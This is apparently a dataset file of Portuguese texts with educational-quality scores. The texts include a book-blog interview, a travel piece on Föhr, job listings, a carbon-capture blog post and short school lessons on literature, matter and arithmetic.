+"Hoje o Cultivando a Leitura finalmente estréia o segundo ramo de entrevistas do blog. Era para ter saído há mais de um mês, mas devido a problemas técnicos atrasou muito. Mesmo assim está perfeito. A primeira entrevistada para a seção blogueiros é a Cibele Ramos do ""Eu Leio, Eu Conto"", blog literário que está no ar há mais de 2 anos. Vamos a entrevista: +01- De onde surgiu a ideia de criar um blog literário? +C: Há uns dois anos eu estava numa fase em que lia muitos livros bons, mas quase não encontrava nada sobre eles. Eu sempre tive blog, então a ideia de usar esse canal pra divulgar esses livros surgiu naturalmente. +C: Na hora de criar o blog, eu pensei em diversos nomes (que sinceramente hoje já nem lembro), mas todos já estavam sendo utilizados. No fim das contas pensei em “Eu leio, eu conto”, estava disponível então resolvi usar. +C: A maior dificuldade do começo é que eu tinha uma ideia de fazer um blog só de resenha e com o tempo eu percebi que isso seria impossível, dada a minha velocidade de leitura. Então comecei a abordar outros assuntos e criar seções pra não deixar o blog às moscas entre uma resenha e outra. +04- Em sua opinião, o que não pode faltar em uma resenha? +C: A opinião sincera de quem resenha. Uma coisa muito chata é querer saber a opinião da pessoa, mas o post não passar de um resumo do livro. +C: Eu gosto muito das colunas exclusivas como “A última moda” e “Nem preciso ler”. Geralmente quando o primeiro post da seção vai ao ar eu já tenho vários outros escritos, mas nunca posto. Tenho que tentar melhorar isso (risos) +C: Não consigo lembrar de nada específico no momento. +C: Eu acho sensacional esse estouro de blogs literários! Tenho certeza que isso tem influenciado a leitura de forma positiva. Antes disso era muito solitário ler um livro, era difícil encontrar alguém que tivesse lido as mesmas coisas e com quem pudesse conversar. Hoje existem vários sites onde você pode comentar os livros que já leu e conhecer novos. +C: Isso é coisa de fase. Tem época que eu olho pra estante e surto com a quantidade de livros não lidos, e começo a ler o mais rápido possível pra pilha diminuir. Em outros momentos eu quero ler devagar e aproveitar. Depende mesmo. +C: Sem correr eu leio 1 por semana. +C: Já pensei e confesso que até já comecei, mas nunca consigo seguir em frente. E se eu escrevesse seria só como um hobby mesmo, uma coisa pra ficar só na gaveta. Não tenho intenção de ser escritora nem nada. Pode ser que isso mude um dia, mas por ora não tenho planos de me tornar escritora. +C: Eu já fiz uma lista dos livros que quero ler antes do ano terminar, mas um que eu devia ter terminado em julho e ainda está aqui é “Harry Potter e as relíquias da morte”. Se tudo der certo, eu acabo a série ainda esse ano. +C: E se fosse verdade... de Marc Levy. +C: Um conselho que eu sempre dou é: seja sincero! No começo eu tinha muita dificuldade em falar dos livros que eu não gostava e às vezes acabava dando uma opinião pela metade pra não ter que falar o que realmente achava. Então, se você está começando agora, não faça isso (risos). +C: “Since... forever” Last Sacrifice – Richelle Mead (A frase fica melhor no contexto, mas estava pensando nela agora então... não deu pra evitar!) +Gostaria de agradecer a Cibele por ter aceito o convite e separar um tempinho para responder as perguntas. Quem ainda não conhece o ""Eu Leio, Eu Conto"" corre lá que vale muito a pena. São várias colunas além de resenhas e promoções. Vou ficando por aqui e mais tarde tem desafio e resenha, ah e na próxima semana já tem entrevista nova tanto de blogueira como de leitor! Até mais! +Muito criativa essa ideia, adorei a entrevista, parabéns!!! +Nossa amei suas perguntas e as respostas da Cibele foram ótimas =) tbém tenho essa coluna no meu blog e quero até te entrevistar, me manda seu email =) +Acho que o blog da Cibele foi um dos primeiros que comecei a acompanhar. Acho muito boas as resenhas já que tem bastante opinião! ADORO o livro que ela está lendo agora e também so...",original,original,original,original,1,0.2 +"Capa Protetora Rearth Ringke Onyx para Samsung Galaxy S8 - Nave10 +Capa Protetora Rearth Ringke Onyx para Samsung Galaxy S8-Preta +A case Rearth Ringke Onyx para Samsung Galaxy S8 foi construída especificamente para oferecer impressionante proteção apesar de ser incrivelmente fina e com uma bela aparência. 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A vista da minha janela é sempre encantadora: as ondas trazendo a espuma até a margem, os barcos, as gaivotas dançando sobre a água e inúmeras crianças com capuzes vermelhos e brancos construindo castelos de areia."" +Pôr-de-lua à beira-mar +""Está sendo uma estadia muito agradável, nada de feio ou irritante. Só o tempo mesmo é que resolveu me contrariar..."" Foi assim que o escritor realista alemão Theodor Fontane descreveu a ilha de Föhr, no Mar do Norte, à sua mulher, Emilie, numa carta datada de 27 de agosto de 1891. +À mercê do vento e da maré +Ou seja, já naquela época, mesmo em pleno verão, a única coisa a se reclamar do Mar do Norte era o tempo. De fato, independentemente da estação, o vento é uma constante no arquipélago das ilhas frísias, bastante expostas à ação eólica e marítima. Se não fossem os diques, as ilhas – que mais se assemelham a bancos de areia à mercê da maré – não seriam habitáveis. +Maré cheia numa praia de Föhr +Föhr é a ilha mais discreta das ilhas frísias do norte: menos pitoresca e turística que Sylt, a chamada ""pérola do Mar do Norte"", e menos idílica que Amrum, com suas amplas dunas e imensas praias. Föhr é considerada ideal para famílias com filhos pequenos, pois a ilha praticamente não tem mar aberto, por causa de sua proximidade do continente e de sua localização entre Sylt e Amrum. +Caminhada pelo estuário de Föhr, à noitinha +Travessia do mar, a pé +Apesar de não ser nada para surfistas (a não ser windsurfistas, que sempre podem contar com o vento), Föhr oferece um outro programa, justamente por estar tão longe do alto-mar: uma longa caminhada pelo estuário até o continente ou até a ilha de Amrum. Quando a maré baixa, é possível percorrer os bancos de areia cobertos de água durante a maré cheia. O importante é se munir de galochas e ter um guia que conheça bem os itinerários, pois não é de se subestimar o risco de ser surpreendido pela maré cheia no meio do caminho. +Ferry-boat de Dagebüll, no continente, a Wyk, em Föhr +Por ser menos exposta à erosão que as vizinhas, Föhr é uma das ilhas mais verdes do arquipélago. A agricultura também desempenha um papel econômico relevante, o que torna o ambiente menos turístico e mais ""autêntico"". Além da cidade de Wyk, onde se localiza o porto, Föhr tem 16 vilarejos originariamente rurais, cujas casas foram sendo compradas nas últimas décadas, sobretudo por alemães de Hamburgo. +Casa frísia, telhado de junco +A vila de Nieblum, em Föhr +Os novos moradores se preocuparam de forma geral em manter a arquitetura original. As casas de fazenda, que originariamente incluíam moradia e estábulo em um único edifício, foram mantidas no formato original. Verdadeiramente típico é o telhado das casas frísias, feito de feixes de junco, como as casas dinamarquesas. Aliás, a Frísia do Norte é, em parte, alemã, e em parte, dinamarquesa. +Velho moinho de vento, em Föhr +Assim como nas demais ilhas frísias, a melhor forma de explorar Föhr é de bicicleta. A proximidade dos vilarejos permite que os ciclistas percorram a ilha toda, fazendo pausas de descanso e intervalos para refeições em cenários idílicos. Uma bebida típica é o chá frísio, uma mistura de diversos tipos de chá preto (assam, darjeeling, ceilão), a ser preparado com pedrinhas de açúcar e um pouco de creme de leite. +Gotinger Kliff, em Föhr +Vida e morte, por escrito +Uma absoluta peculiaridade cultural de Föhr é o cemitério da Igreja de São Lourenço, na vila de Süderende. Suas lápides não contêm apenas nomes e datas de nascimento e morte, mas também longas descrições biográficas. A mais famosa delas é a do capitão Matthias Petersen, nascido em 24 de dezembro de 1632 e morto em 16 de setembro de 1706: ""Ele sa...",original,original,original,original,3,0.6 +"Os distúrbios causados nas Piscinas Municipais de Estremoz por habitantes de etnia cigana do denominado Bairro das Quintinhas, e os consequentes prejuízos causados naquele espaço de lazer, continuam na ordem do dia e podem mesmo ter desencadeado a tomada de novas medidas por parte da autarquia estremocense em relação à comunidade cigana instalad...",original,original,original,original,1,0.2 +"Vagas de analista fiscal / contábil, Fortaleza / CE | Catho +Sua busca por ""Analista Fiscal / Contábil"" apenas no título da vaga não retornou nenhum resultado. +vagas de emprego de analista fiscal / contábil em Fortaleza, CE +Fazer acompanhamento, interpretação e aplicação da legislação fiscal municipal, estadual e federal. Realizar apuração e análises dos tributos... Fazer acompanhamento, interpretação e aplicação da legislação fiscal municipal, estadual e federal. Realizar apuração e análises dos tributos indiretos (ICMS / IPI, PIS / COFINS e Retidos) da empresa. Atuar com preenchimento e entrega de obrigações acessórias, realizar conciliação e lançamentos contábeis. Apoiar a equipe, as demais áreas e as filiais quanto as práticas fiscais. Atender à fiscalizações e auditorias, dentre outras atividades melhor esclarecidas no primeiro contato com o candidato. Experiência anterior na função. Ensino Superior completo em Ciências Contábeis. Conhecimentos em legislação contábil, legislação fiscal, matemática financeira, informática (pacote Office - Excel avançado), encargos e tributos. segunda, 17/10 +Cuidar da escrita fiscal. Fazer lançamento de notas fiscais. Esclarecer quaisquer dúvidas sobre a legislação tributária. Calcular o impacto dos impostos... Cuidar da escrita fiscal. Fazer lançamento de notas fiscais. Esclarecer quaisquer dúvidas sobre a legislação tributária. Calcular o impacto dos impostos nas contas da empresa. Conhecimento da legislação do ICMS de seu estado e de interpretar a legislação de outros estados também. Legislação ref. ISSQN de seu município. Também é necessário saber interpretar a legislação federal, por exemplo, TIPI, Simples Nacional, importação e exportação e demais assuntos federais ligados à Escrita Fiscal. Codificação e lançamento de notas fiscais de entradas, de saídas, de serviços tomados, de serviços prestados, ICMS Substituição Tribútária, Nota Fiscal Eletrônica, Escrituração Fiscal Digital (novo), DACON, DCTF, DIRF, DIMOB, Assessoria a clientes nas áreas de ICMS, ISSQN, IPI, livros fiscais de entradas, saídas, apuração de icms, apuração de IPI, registro de serviços prestados e tomados, registro de inventário, envio de obrigações acessórias como Gias/Dimes, Sintegra e também a parte de envio via internet dos municípios, com relação ao ISS. Conhecimento de retenção de impostos, como IRRF, ISSQN, dentre outros. Cursando Ciências Contábeis a partir do 3º semestre. Ter experiência na função, legislação tributária, rotinas de contabilização, rotinas fiscais. Ter noções de legislação trabalhista, etc. segunda, 26/09 +Atuar com controles contábeis e financeiros dos custos de produção e faturamento. Fornecer relatórios financeiros, estoque, qualidade, entre demais... Atuar com controles contábeis e financeiros dos custos de produção e faturamento. Fornecer relatórios financeiros, estoque, qualidade, entre demais atividades. Indispensável ter experiência na área contábil- fiscal. Ensino Superior completo em Administração, Ciências Contábeis ou Economia. Indispensável ter domínio na área fiscal (experiência e conhecimentos). Necessário uma visão de balanços contábeis, impostos e tributos quinta, 08/09 +Analista de Negócios De R$ 4.001,00 a R$ 5.000,00 1 vaga: +Atuar de forma pró-ativa junto as áreas de negócios, identificando oportunidades de melhoras e mudanças que possam apoiar os processos de negócios... Atuar de forma pró-ativa junto as áreas de negócios, identificando oportunidades de melhoras e mudanças que possam apoiar os processos de negócios. Desenvolver melhorias de configuração nos módulos SAP existentes ou demais que possam se implementados. Identificar oportunidades de melhorias em relatórios e discutir com os consultores de negócios a melhor forma de implementa-los. Ensino Superior completo nas áreas de TI, Administração, Economia ou afins, desejável Pós Graduação em áreas relacionadas. Conhecimentos dos sistemas fiscais MasterSAF. Conhecimentos de processos da área de contabilidade e fiscal. De...",original,original,original,original,2,0.4 +"Fatores que Influenciam o Processo de Ensino-Aprendizagem sob a Perspectiva de Estudantes do Curso de Ciências Contábeis: Análise em uma Instituição de Ensino Superior de Minas Gerais +120 +Modelagem de Equações Estruturais com Mínimos Quadrados Parciais: um Exemplo daAplicação do SmartPLS® em Pesquisas em Contabilidade +87 +indexadores +Indexadores +Informações +Para Leitores +Para Autores +Para Bibliotecários +Revista de Educação e Pesquisa em Contabilidade (REPeC) +Academia Brasileira de Ciências Contábeis (ABRACICON), SAS Quadra 5, Bloco J, Edifício CFC, CEP 70070-920, Brasília - Distrito Federal, Brasil",original,original,original,original,1,0.2 +"As tecnologias de captura de carbono têm grande potencial para ajudar no combate às mudanças climáticas, e grandes nomes como Bill Gates e Elon Musk estão mostrando sua fé na tecnologia investindo em novas soluções. +Agora, o mundo parece pronto para um momento de inovação em tecnologias de captura de carbono, com uma nova instalação definida para abrir na Escócia que removerá até um milhão de toneladas de carbono do ar a cada ano, revelou um comunicado à imprensa. +Photo//Carbon Engineering +Terra aquece de forma alarmante, devido ao desequilíbrio de energia +A instalação de captura direta de ar (DAC) será construída pela empresa britânica de transição energética Storegga Geotechnologies em colaboração com a empresa canadense de tecnologia de captura de carbono Carbon Engineering. +A instalação, que será a maior do mundo, vai extrair o carbono equivalente (um milhão de toneladas) que seria absorvido por 40 milhões de árvores ao longo de um ano. Todo o carbono absorvido será então depositado em locais de armazenamento no fundo do mar. +A instalação contará com grandes ventiladores que puxam o ar para um tanque cheio de líquido que retém o dióxido de carbono. Uma vez ligado, o carbono capturado é refinado e transformado em pelotas de carbonato de cálcio. +Essas pelotas, por sua vez, são aquecidas e se decompõem num fluxo de CO2 ao lado do óxido de cálcio. Este fluxo é então limpo de impurezas, após o que é bombeado para um local de armazenamento submarino. +A remoção de carbono é uma necessidade se quisermos atingir as emissões zero. +Á nova instalação junta-se a uma série de outras inovações tecnológicas de captura de carbono que visam atender ao requisito de reduzir a quantidade de CO2 na atmosfera, se quisermos reverter os efeitos adversos das mudanças climáticas. +Como a Union of Concerned Scientists (UCS) afirma no seu site, ""para alcançar emissões líquidas zero, precisamos fazer mais do que apenas reduzir nossas emissões: precisamos remover ativamente o dióxido de carbono da atmosfera ou compensar seus efeitos"". +Outro novo sistema, o Carbfix , apoiado por Bill Gates , vai extrair carbono da atmosfera e transformá-lo em rochas. Um outro, desenvolvido por cientistas da UCLA, por sua vez, inspira-se em conchas do mar para extrair carbono do oceano, que, por sua vez, o absorveria do ar. +Embora a instalação escocesa da Storegga Geotechnologies and Carbon Engineering tenha como objetivo principal remover o dióxido de carbono da atmosfera, ambas as empresas afirmam que querem eventualmente vender o dióxido de carbono capturado das suas fábricas. +As duas empresas estão atualmente buscando uma localização para suas novas instalações na Escócia, que foi escolhida devido ao fato de que uma grande parte de sua força de trabalho já está treinada nas habilidades necessárias para tais projetos. A energia renovável atendeu mais de 97 por cento da produção de energia do país em 2020. +Na sua declaração, a Carbon Engineering afirma que ambos os parceiros pretendem que a instalação esteja operacional em 2026. +Fim do ""La Niña"", o fenómeno atmosférico que altera o clima em todo o mundo +Referencia//InterestingEngineering +Posted by Nando at 14:17 +Enviar a mensagem por emailDê a sua opinião!Partilhar no TwitterPartilhar no FacebookPartilhar no Pinterest +Labels: Aquecimento global, Captura de Carbono, Captura de Co2, Carbfix, DAC, Meio Ambiente, Poluiçao do ar +Sem comentários: +Enviar um comentário +Deixe aqui os seus comentários +Mensagem mais recente Mensagem antiga Página inicial +Subscrever: Enviar feedback (Atom) +Translate +Pesquisar neste blog +Receba novos posts por e-mail: +Assinar +Powered by +Publicações recentes +Your browser does not support JavaScript! +Categorias +Alimentação +Antigos Astronautas Alienígenas +Aquecimento global +Arqueologia +Automóvel +Aviação +Ciência e Tecnologia +Civilizaçao +Economia +Energia +Espaço +Humanidade +Insolito +Internet +Meio Ambiente +Mistérios do passado +Ovnis +Saude +Publicação em destaque +A Terra sabe como regular o próprio clima globa...",original,original,original,original,4,0.8 +"Presentes de Luiza Moreira - Anjo de Luz +Presentes de Luiza Moreira (8) +Dar um presente para Luiza Moreira +Em 4:52am on janeiro 18, 2011, Sérgio Alexandre(Anjo em Chamas) deu para Luiza Moreira um presente... +Em 11:27pm on janeiro 09, 2011, Ana Lúcia deu para Luiza Moreira um presente... +Boa noite querida irmã de luz. +Em 12:09am on dezembro 25, 2010, Cláudio Luiz Pinheiro deu para Luiza Moreira um presente... +Em 5:47pm on dezembro 24, 2010, PAULO CESAR deu para Luiza Moreira um presente... +Em 5:54pm on dezembro 19, 2010, Maria Luisa deu para Luiza Moreira um presente... +Em 11:14pm on agosto 09, 2010, Nirley Crespi deu para Luiza Moreira um presente...",original,original,original,original,0,0.0 +"Cirurgião Dentista Popular em Água Rasa, São Paulo, SP | O melhor do bairro de Água Rasa, São Paulo, SP +ACADEMIA-Academia FemininaACADEMIA-AcademiasACADEMIA-FitnessACADEMIA-GinásticaACADEMIA-MusculaçãoACADEMIA-NataçãoACADEMIA DE DANÇA-BalletACADEMIA DE DANÇA-Dança de SalãoACADEMIA DE DANÇA-Dança do VentreACADEMIA DE DANÇA-FlamencoACADEMIA DE DANÇA-JazzACADEMIA DE DANÇA-Jazz ContemporâneoACADEMIA DE DANÇA-Street DanceACADEMIA DE DANÇA-TangoACESSÓRIOS PARA CELULAR/TABLET/NOTEBOOK-Carregadores, Capas para Tablet e Películas para CelularADVOGADOS-AdvogadosADVOGADOS-EmpresariaisÁGUA-Água MineralALIMENTAÇÃO / FAST FOOD / LANCHES-AçougueALIMENTAÇÃO / FAST FOOD / LANCHES-Bolos e TortasALIMENTAÇÃO / FAST FOOD / LANCHES-Casa de MassasALIMENTAÇÃO / FAST FOOD / LANCHES-Casa de SucoALIMENTAÇÃO / FAST FOOD / LANCHES-Comida ÁrabeALIMENTAÇÃO / FAST FOOD / LANCHES-Comida SaudávelALIMENTAÇÃO / FAST FOOD / LANCHES-DeliveryALIMENTAÇÃO / FAST FOOD / LANCHES-EsfihaALIMENTAÇÃO / FAST FOOD / LANCHES-Fast FoodALIMENTAÇÃO / FAST FOOD / LANCHES-LaticíniosALIMENTAÇÃO / FAST FOOD / LANCHES-RestaurantesALIMENTAÇÃO / FAST FOOD / LANCHES-Suplementos AlimentaresANIMAIS-Banho e TosaANIMAIS-Clínicas e VeterináriosANIMAIS-Disk RaçõesANIMAIS-Dog WalkerANIMAIS-HotéisANIMAIS-LojasANIMAIS-Pet ShopARTE E ARTESANATOS-ArtesanatosASSISTÊNCIA TÉCNICA-ÁudioASSISTÊNCIA TÉCNICA-CelularesASSISTÊNCIA TÉCNICA-Conserto de IpadASSISTÊNCIA TÉCNICA-Conserto de TabletsASSISTÊNCIA TÉCNICA-Eletro-EletrônicosASSISTÊNCIA TÉCNICA-EletrodomésticosASSISTÊNCIA TÉCNICA-GamesASSISTÊNCIA TÉCNICA-Máquinas de CosturaASSISTÊNCIA TÉCNICA-Motores ElétricosASSISTÊNCIA TÉCNICA-NotebooksASSISTÊNCIA TÉCNICA-Torneiras, Válvulas e ChuveirosASSISTÊNCIA TÉCNICA-VídeoAUTOMAÇÃO INDUSTRIAL-Produtos para AutomaçãoAUTOMÓVEIS-AcessóriosAUTOMÓVEIS-Alinhamento e BalanceamentoAUTOMÓVEIS-Ar Condicionado e AquecedoresAUTOMÓVEIS-Auto-ElétricaAUTOMÓVEIS-Auto-PeçasAUTOMÓVEIS-BateriasAUTOMÓVEIS-BorrachariaAUTOMÓVEIS-CâmbioAUTOMÓVEIS-Centro AutomotivoAUTOMÓVEIS-EscapamentosAUTOMÓVEIS-Funilaria e PinturaAUTOMÓVEIS-Injeção EletrônicaAUTOMÓVEIS-Lava Jato AUTOMÓVEIS-Lava RápidoAUTOMÓVEIS-Lavagem de AutomóvelAUTOMÓVEIS-Mecânica GeralAUTOMÓVEIS-Novos e UsadosAUTOMÓVEIS-Oficinas MecânicasAUTOMÓVEIS-Perícia AutomotivaAUTOMÓVEIS-PneusAUTOMÓVEIS-Polimento e RevitalizaçãoAUTOMÓVEIS-Recuperação de ParachoquesAUTOMÓVEIS-RetíficaAUTOMÓVEIS-RodasAUTOMÓVEIS-Som e AcessóriosAUTOMÓVEIS-Tapeçaria AutomotivaAUTOMÓVEIS-Troca de ÓleoAUTOMÓVEIS-TuningAUTOMÓVEIS-Vidros e Pára-brisaBARES-Bar e LancheriaBARES-BaresBARES-PetiscariasBARES-Snooker BarBAZAR-BazarBAZAR-BazaresBEBIDAS-AdegasBEBIDAS-Distribuidora de BebidasBELEZA E ESTÉTICA-CabeleireirosBELEZA E ESTÉTICA-Centro de EstéticaBELEZA E ESTÉTICA-CosméticosBELEZA E ESTÉTICA-Instituto de EstéticaBELEZA E ESTÉTICA-Manicure e PedicureBELEZA E ESTÉTICA-PodologiaBELEZA E ESTÉTICA-Salão de BelezaBELEZA E ESTÉTICA-Studio e EstéticaBICICLETAS-Peças e AcessóriosBRINQUEDOS-LojaCALÇADOS-Fabricação de CalçadosCALÇADOS-FemininosCALÇADOS-LojasCASA E DECORAÇÃO-Colchões e TravesseirosCASA E DECORAÇÃO-Cortinas e PersianasCASA E DECORAÇÃO-DecoraçãoCASA E DECORAÇÃO-Decoradores / Design de InterioresCASA E DECORAÇÃO-IluminaçãoCASA E DECORAÇÃO-Loja de DecoraçãoCASA E DECORAÇÃO-MetaisCASA E DECORAÇÃO-PorcelanatosCASA E DECORAÇÃO-RestauradorCASA E DECORAÇÃO-Utilidades DomésticasCASAMENTO-DecoraçãoCHAVEIROS-ChaveirosCOMBUSTÍVEIS-Postos de CombustívelCOMÉRCIO ESPECIALIZADO-Equipamentos de Proteção IndividualCOMÉRCIO ESPECIALIZADO-EstopariaCOMÉRCIO ESPECIALIZADO-Ferragens e ParafusosCOMÉRCIO ESPECIALIZADO-Ferramentas e MáquinasCOMÉRCIO ESPECIALIZADO-Lojas de VariedadesCOMÉRCIO ESPECIALIZADO-Máquinas e EquipamentosCOMÉRCIO ESPECIALIZADO-PlásticosCOMÉRCIO ESPECIALIZADO-Produtos AlimentíciosCOMÉRCIO ESPECIALIZADO-Relogio FemininoCOMÉRCIO ESPECIALIZADO-TecidosCONTABILIDADE-Assessoria ContábilCORTE E COSTURA-AlfaiatesDELIVERY-ÁguaDELIVERY-ChoppDELIVERY-Comida ÁrabeDELIVERY-FrutariaDENTISTAS-Cirurgião DentistaDENTISTAS-Clíni...",original,original,original,original,0,0.0 +"Olá, pessoal! Já pararam para pensar que as histórias que lemos nos livros podem nos levar para lugares incríveis e nos apresentar a personagens super interessantes? Hoje, vamos embarcar em uma aventura pelo mundo da Literatura Brasileira! + +Afinal, o que é Literatura Brasileira? É o conjunto de todos os livros, poemas, peças teatrais e outros textos escritos por autores brasileiros ou sobre o Brasil. Ela conta a nossa história, mostra a nossa cultura e expressa os nossos sentimentos. É como um grande espelho que reflete quem somos. + +Imagine que a literatura é como uma conversa entre o autor e o leitor. O autor escreve a história, coloca suas ideias e emoções ali, e o leitor, ao ler, interpreta essa história de acordo com suas próprias experiências e sentimentos. Legal, né? + +Um dos grandes nomes da nossa literatura é Machado de Assis. Já ouviram falar dele? Machado de Assis escreveu livros como “Dom Casmurro” e “Memórias Póstumas de Brás Cubas”. Suas histórias são cheias de mistério, humor e reflexões sobre a vida. Ele usava as palavras de um jeito único, como se estivesse pintando um quadro com letras. Outro autor importante é Monteiro Lobato, que criou personagens inesquecíveis como a Emília, o Visconde de Sabugosa e a Narizinho, que vivem altas aventuras no Sítio do Picapau Amarelo. Quem nunca se divertiu com as histórias do Sítio? + +Mas a Literatura Brasileira não é só Machado de Assis e Monteiro Lobato. Temos muitos outros autores incríveis, como Cecília Meireles, Carlos Drummond de Andrade, Cora Coralina e tantos outros que nos presenteiam com suas palavras. Cada um deles tem um estilo diferente, uma forma única de contar histórias. E sabe o que é mais legal? A literatura está sempre evoluindo, sempre se transformando. Novos autores surgem a todo momento, trazendo novas ideias e novas formas de ver o mundo. + +E por que é importante estudar Literatura Brasileira? Porque ela nos ajuda a entender quem somos, de onde viemos e para onde queremos ir. Ela nos ensina a pensar, a questionar, a refletir sobre a vida. Além disso, a leitura nos diverte, nos emociona e nos transporta para outros mundos. Que tal começar a sua viagem literária agora mesmo? Escolha um livro de um autor brasileiro que te interesse e embarque nessa aventura! Qual livro você escolheria para começar sua jornada?",Português,Literatura brasileira,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz a Literatura Brasileira de forma convidativa, utilizando uma linguagem acessível e exemplos relevantes como Machado de Assis e Monteiro Lobato, adequados para o ensino fundamental. Incentiva a leitura e a reflexão sobre a identidade brasileira e a importância da literatura. O texto é coerente, bem estruturado e desperta o interesse dos alunos, merecendo a pontuação máxima.",5,1.0 +"Qual é o papel do professor na formação social de seus alunos? | Escola Anjinho da Guarda +Qual é o papel do professor na formação social de seus alunos? +Falar a respeito do papel do professor na formação social do aluno é um assunto que nos remete à nossa própria caminhada enquanto seres humanos. Afinal, todos já frequentamos aulas e sabemos o quanto essa experiência pode ser profunda e importante. +A escola é muito mais do que um lugar para aprender a ler, escrever e fazer contas. É nela onde temos nossas primeiras experiências em sociedade, aprendendo a dividir espaços com pessoas tão diferentes. Recebemos instruções e sabemos logo de início que os professores são as autoridades, mediadores de exemplos e profissionais importantes para nossa formação enquanto seres humanos. Assim também é na escola que se aprende ouvir, respeitar e procurar aprender no coletivo. De forma geral, podemos dizer sem nenhuma dificuldade que é o professor o responsável por nos passar as primeiras lições de como deve ser o convívio social. +Por estes e outros motivos, crianças, adolescentes e até adultos são altamente impactados pelo professor, esta figura tão importante para a sociedade que é capaz de transformar vidas. A convivência diária cria laços que não podem se desfazer tão rápido. Aquele que ensina acaba causando certo fascínio mesmo que inconsciente, e tudo que o professor fala e transmite estimula a reflexão. +Por isso, é importante que o professor reconheça seu papel na formação social do aluno e priorize a construção de uma relação de confiança. +Além disso, é preciso ir mais adiante do que apenas repassar conteúdos focados apenas em aprendizagens de cunho cognitivo, afinal de contas, o papel do professor na formação social do aluno é uma de suas tarefas mais nobres e difíceis. +Para exercê-lo de forma satisfatória, portanto, é preciso trabalhar visando garantir formação completa do indivíduo, envolvendo os aspectos sociais que também são muito importantes para que possamos garantir a criação de cidadãos mais conscientes da própria realidade. +Ações como: respeitar os idosos, cuidar e preservar a natureza, aprender sobre empatia e responsabilidade social são de extrema importância desde a mais tenra idade. +Por isso, lembremos também que o professor não se limita apenas à sala de aula, ele é parte de uma relação que pode e deve se estender para fora dela, como por exemplo, a parceria com a família na busca da formação de um cidadão consciente e em constante evolução. Assim, reconheça e valorize os professores, o único profissional com o poder do olhar transformador! +(54) 3358-3048 +Rua: 14 de Julho, 237 +Centro - Lagoa Vermelha",original,original,original,original,4,0.8 +"Já parou para pensar por que a água do rio corre, o gelo na sua bebida a mantém gelada e o ar que respiramos nos permite viver? A resposta está nos estados físicos da matéria! Tudo ao nosso redor é feito de matéria, e essa matéria pode se apresentar em três formas principais: sólida, líquida e gasosa. Vamos embarcar juntos nessa aventura para entender cada uma delas! + +Imagine um cubo de gelo. Ele é duro, tem uma forma definida e, mesmo que você o coloque em diferentes lugares, ele continua sendo um cubo de gelo, certo? Isso acontece porque, no estado sólido, as moléculas que formam a matéria estão bem juntinhas e organizadas, vibrando em seus lugares. A madeira da sua carteira, o metal de uma moeda e o plástico de uma caneta são outros exemplos de sólidos. + +Agora, pense na água que você bebe. Ela não tem uma forma fixa: se você a coloca em um copo, ela toma a forma do copo; se a derrama em um prato, ela se espalha. No estado líquido, as moléculas estão mais soltas do que nos sólidos, o que permite que elas se movam e deslizem umas sobre as outras. Isso dá aos líquidos a capacidade de fluir e se adaptar ao recipiente que os contém. Além da água, o suco, o óleo e o álcool são exemplos de líquidos. + +E o ar que respiramos? Ele é invisível, não podemos pegá-lo, mas sabemos que está ali. No estado gasoso, as moléculas estão ainda mais afastadas e se movem muito rapidamente, em todas as direções. Elas não têm forma nem volume definidos, e por isso os gases se espalham facilmente, ocupando todo o espaço disponível. O vapor de água que sai da panela quando sua mãe cozinha, o gás que usamos no fogão e o ar que enche uma bola são exemplos de gases. + +Mas a transformação não para por aí! A matéria pode mudar de um estado para outro, dependendo da temperatura. Se aquecemos o gelo (sólido), ele derrete e se transforma em água (líquido). Se continuamos aquecendo a água, ela evapora e se transforma em vapor (gasoso). E o contrário também pode acontecer: o vapor se condensa e vira água, e a água congela e vira gelo. Essas mudanças são chamadas de mudanças de estado físico. + +Já se perguntou como seria o mundo se a água não pudesse mudar de estado? Não teríamos chuva, rios ou oceanos! As mudanças de estado da matéria são fundamentais para a vida na Terra e para muitos processos que acontecem ao nosso redor. Então, da próxima vez que você vir um cubo de gelo derretendo ou a água fervendo, lembre-se da fascinante jornada da matéria e de como ela está presente em tudo o que nos cerca!",Ciências,Estados físicos da matéria,anos finais (6º ao 9º ano),"O texto introduz de forma clara e acessível os estados físicos da matéria, usando exemplos práticos e cotidianos que facilitam a compreensão para alunos do ensino fundamental. A linguagem é adequada à faixa etária, e a progressão do conteúdo é lógica, partindo do sólido, passando pelo líquido e chegando ao gasoso, culminando nas mudanças de estado. Aborda conceitos importantes do currículo de ciências e estimula a curiosidade dos alunos.",5,1.0 +"Olá, pequenos exploradores da matemática! Já pararam para pensar que os números estão em todos os lugares? No relógio que marca a hora de brincar, na quantidade de brinquedos que vocês têm, na idade dos seus pais e avós... A matemática é como um mapa secreto que nos ajuda a entender o mundo! Hoje, vamos embarcar em uma aventura para desvendar os números e as operações básicas: adição, subtração, multiplicação e divisão. Preparem-se para muita diversão e aprendizado! + +Começando pela adição, que é a arte de juntar coisas! Imagine que você tem 3 balas e seu amigo te dá mais 2. Quantas balas você tem agora? Isso mesmo, 5! A adição é como um superpoder que nos permite somar quantidades e descobrir o total. Podemos usar os dedos, desenhos ou até mesmo objetos para nos ajudar a adicionar. Que tal somar quantos lápis de cor você tem? Ou quantos brinquedos estão dentro da sua caixa? + +A subtração é o oposto da adição: é quando tiramos algo de uma quantidade. Se você tem 7 figurinhas e dá 3 para o seu irmão, com quantas figurinhas você fica? Isso mesmo, 4! A subtração nos ajuda a descobrir a diferença entre as coisas. Podemos pensar em situações do dia a dia: quantos biscoitos você comeu do pacote? Quantos carros vermelhos você viu na rua? + +Agora, vamos falar da multiplicação, que é uma forma rápida de adicionar a mesma quantidade várias vezes. Pense que você quer dar 2 balas para cada um dos seus 4 amigos. Quantas balas você precisa no total? Em vez de somar 2+2+2+2, podemos simplesmente multiplicar 2 por 4, que dá 8! A multiplicação é como um atalho mágico que nos ajuda a resolver problemas mais rapidamente. Já pensou em quantas rodas têm 3 carros? Ou quantos dedos têm 5 crianças? + +E, por último, mas não menos importante, temos a divisão, que é a arte de repartir as coisas em partes iguais. Imagine que você tem 10 chocolates e quer dividir igualmente entre você e seu amigo. Quantos chocolates cada um de vocês vai receber? Isso mesmo, 5! A divisão nos ajuda a compartilhar e a distribuir as coisas de forma justa. Que tal dividir seus brinquedos com seus irmãos? Ou dividir as tarefas de casa com seus pais? + +Perceberam como a matemática está presente em tudo o que fazemos? Os números e as operações básicas são ferramentas incríveis que nos ajudam a resolver problemas, a entender o mundo e a tomar decisões. Então, da próxima vez que vocês virem um número, lembrem-se: ele é muito mais do que um simples símbolo! Ele é parte de um universo 